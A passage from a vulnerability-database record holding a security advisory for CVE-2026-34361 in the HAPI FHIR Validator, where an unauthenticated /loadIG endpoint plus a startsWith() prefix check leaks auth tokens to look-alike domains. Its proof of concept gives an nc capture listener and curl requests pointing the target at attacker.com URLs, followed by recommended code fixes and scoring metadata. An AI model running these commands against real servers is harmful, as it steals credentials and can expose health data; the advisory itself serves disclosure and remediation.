startsWith() Credential Leak for Authentication Token Theft\n## Summary\n\nThe FHIR Validator HTTP service exposes an unauthenticated `/loadIG` endpoint that makes outbound HTTP requests to attacker-controlled URLs. Combined with a `startsWith()` URL prefix matching flaw in the credential provider (`ManagedWebAccessUtils.getServer()`), an attacker can steal authentication tokens (Bearer, Basic, API keys) configured for legitimate FHIR servers by registering a domain that prefix-matches a configured server URL.\n\n## Details\n\n**Step 1 — SSRF Entry Point** (`LoadIGHTTPHandler.java:35-43`):\n\nThe `/loadIG` endpoint accepts unauthenticated POST requests with a JSON body containing an `ig` field. The value is passed directly to `IgLoader.loadIg()` with no URL validation or allowlisting. When the value is an HTTP(S) URL, `IgLoader.fetchFromUrlSpecific()` makes an outbound GET request via `ManagedWebAccess.get()`:\n\n```java\n// LoadIGHTTPHandler.java:43\nengine.getIgLoader().loadIg(engine.getIgs(), engine.getBinaries(), igContent, true);\n\n// IgLoader.java:437 (fetchFromUrlSpecific)\nHTTPResult res = ManagedWebAccess.get(Arrays.asList(\"web\"), source + \"?nocache=\" + System.currentTimeMillis());\n```\n\n**Step 2 — Credential Leak via Prefix Matching** (`ManagedWebAccessUtils.java:14`):\n\nWhen `ManagedWebAccess` creates a `SimpleHTTPClient`, it attaches an `authProvider` that uses `startsWith()` to determine whether credentials should be sent:\n\n```java\n// ManagedWebAccessUtils.java:14\nif (url.startsWith(serverDetails.getUrl()) && typesMatch(serverType, serverDetails.getType())) {\n return serverDetails;\n}\n```\n\nIf the server has `https://packages.fhir.org` configured with a Bearer token, a request to `https://packages.fhir.org.attacker.com/...` matches the prefix, and the token is attached to the request to the attacker's domain.\n\n**Step 3 — Redirect Amplification** (`SimpleHTTPClient.java:84-99,111-118`):\n\n`SimpleHTTPClient` manually follows redirects with `setInstanceFollowRedirects(false)`. On each redirect hop, `getHttpGetConnection()` calls `setHeaders()` which re-evaluates `authProvider.canProvideHeaders(url)` against the **new URL**. This means even an indirect redirect path can trigger credential leakage.\n\n## PoC\n\n**Prerequisites:** A FHIR Validator HTTP server running with `fhir-settings.json` containing:\n```json\n{\n \"servers\": [{\n \"url\": \"https://packages.fhir.org\",\n \"authenticationType\": \"token\",\n \"token\": \"ghp_SecretTokenForFHIRRegistry123\"\n }]\n}\n```\n\n**Step 1:** Set up attacker credential capture server:\n```bash\n# On attacker machine, listen for incoming requests\nnc -lp 80 > /tmp/captured_request.txt &\n# Register DNS: packages.fhir.org.attacker.com -> attacker IP\n```\n\n**Step 2:** Trigger the SSRF with prefix-matching URL:\n```bash\ncurl -X POST http://target-validator:8080/loadIG \\\n -H \"Content-Type: application/json\" \\\n -d '{\"ig\": \"https://packages.fhir.org.attacker.com/malicious-ig\"}'\n```\n\n**Step 3:** Verify credential capture:\n```bash\ncat /tmp/captured_request.txt\n# Expected output includes:\n# GET /malicious-ig?nocache=... HTTP/1.1\n# Authorization: Bearer ghp_SecretTokenForFHIRRegistry123\n# Host: packages.fhir.org.attacker.com\n```\n\n**Redirect variant** (if direct prefix match isn't possible):\n```bash\n# Attacker server returns: HTTP/1.1 302 Location: https://packages.fhir.org.attacker.com/steal\ncurl -X POST http://target-validator:8080/loadIG \\\n -H \"Content-Type: application/json\" \\\n -d '{\"ig\": \"https://attacker.com/redirect\"}'\n```\n\n## Impact\n\n- **Credential theft**: Attacker steals Bearer tokens, Basic auth credentials, or API keys for any configured FHIR server\n- **Supply chain attack**: Stolen package registry credentials could be used to publish malicious FHIR packages affecting downstream consumers\n- **Data breach**: If credentials grant access to protected FHIR endpoints (e.g., clinical data repositories), patient health records could be exposed\n- **Scope change (S:C)**: The vulnerability in the validator compromises the security of external systems (FHIR registries, package servers) whose credentials are leaked\n\n## Recommended Fix\n\n**Fix 1 — Proper URL origin comparison in ManagedWebAccessUtils** (`ManagedWebAccessUtils.java`):\n```java\npublic static ServerDetailsPOJO getServer(Iterable<String> serverTypes, String url, Iterable<ServerDetailsPOJO> serverAuthDetails) {\n if (serverAuthDetails != null) {\n for (ServerDetailsPOJO serverDetails : serverAuthDetails) {\n for (String serverType : serverTypes) {\n if (urlMatchesOrigin(url, serverDetails.getUrl()) && typesMatch(serverType, serverDetails.getType())) {\n return serverDetails;\n }\n }\n }\n }\n return null;\n }\n\n private static boolean urlMatchesOrigin(String requestUrl, String serverUrl) {\n try {\n URL req = new URL(requestUrl);\n URL srv = new URL(serverUrl);\n return req.getProtocol().equals(srv.getProtocol())\n && req.getHost().equals(srv.getHost())\n && req.getPort() == srv.getPort()\n && req.getPath().startsWith(srv.getPath());\n } catch (MalformedURLException e) {\n return false;\n }\n }\n```\n\n**Fix 2 — URL allowlisting in LoadIGHTTPHandler** (`LoadIGHTTPHandler.java`):\n```java\n// Add allowlist validation before loading\nprivate static final Set<String> ALLOWED_HOSTS = Set.of(\n \"packages.fhir.org\", \"packages2.fhir.org\", \"build.fhir.org\"\n);\n\nprivate boolean isAllowedSource(String ig) {\n try {\n URL url = new URL(ig);\n return ALLOWED_HOSTS.contains(url.getHost());\n } catch (MalformedURLException e) {\n return false; // Not a URL, could be a package reference\n }\n}\n```", "references": [ { "reference_url": "https://api.first.org/data/v1/epss?cve=CVE-2026-34361", "reference_id": "", "reference_type": "", "scores": [ { "value": "0.00067", "scoring_system": "epss", "scoring_elements": "0.20917", "published_at": "2026-06-05T12:55:00Z" }, { "value": "0.00067", "scoring_system": "epss", "scoring_elements": "0.20902", "published_at": "2026-06-06T12:55:00Z" } ], "url": "https://api.first.org/data/v1/epss?cve=CVE-2026-34361" }, { "reference_url": "https://github.com/hapifhir/org.hl7.fhir.core", "reference_id": "", "reference_type": "", "scores": [ { "value": "9.3", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N" }, { "value": "CRITICAL", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/hapifhir/org.hl7.fhir.core" }, { "reference_url": "https://github.com/hapifhir/org.hl7.fhir.core/security/advisories/GHSA-vr79-8m62-wh98", "reference_id": "", "reference_type": "", "scores": [ { "value": "9.3", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N" }, { "value": "CRITICAL", "scoring_system": "generic_textual", "scoring_elements": "" }, { "value": "Track", "scoring_system": "ssvc", "scoring_elements": "SSVCv2/E:P/A:Y/T:P/P:M/B:A/M:M/D:T/2026-03-31T17:24:51Z/" } ], "url": "https://github.com/hapifhir/org.hl7.fhir.core/security/advisories/GHSA-vr79-8m62-wh98" }, { "reference_url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34361", "reference_id": "", "reference_type": "", "scores": [ { "value": "9.3", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N" }, { "value": "CRITICAL", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34361" }, { "reference_url": "https://github.com/advisories/GHSA-vr79-8m62-wh98", "reference_id": "GHSA-vr79-8m62-wh98", "reference_type": "", "scores": [], "url": "https://github.com/advisories/GHSA-vr79-8m62-wh98" } ], "fixed_packages": [ { "url": "http://public2.vulnerablecode.io/api/packages/113738?format=api", "purl": "pkg:maven/ca.uhn.hapi.fhir/org.hl7.fhir.validation@6.9.4", "is_vulnerable": false, "affected_by_vulnerabilities": [], "resource_url": "http://public2.vulnerablecode.io/packages/pkg:maven/ca.uhn.hapi.fhir/org.hl7.fhir.validation@6.9.4" } ], "aliases": [ "CVE-2026-34361", "GHSA-vr79-8m62-wh98" ], "risk_score": 4.5, "exploitability": "0.5", "weighted_severity": "9.0", "resource_url": "http://public2.vulnerablecode.io/vulnerabilities/VCID-trrk-uv4z-1bhc" } ], "fixing_vulnerabilities": [], "risk_score": "4.5", "resource_url": "http://public2.vulnerablecode.io/packages/pkg:maven/ca.uhn.hapi.fhir/org.hl7.fhir.validation@5.6.23" }
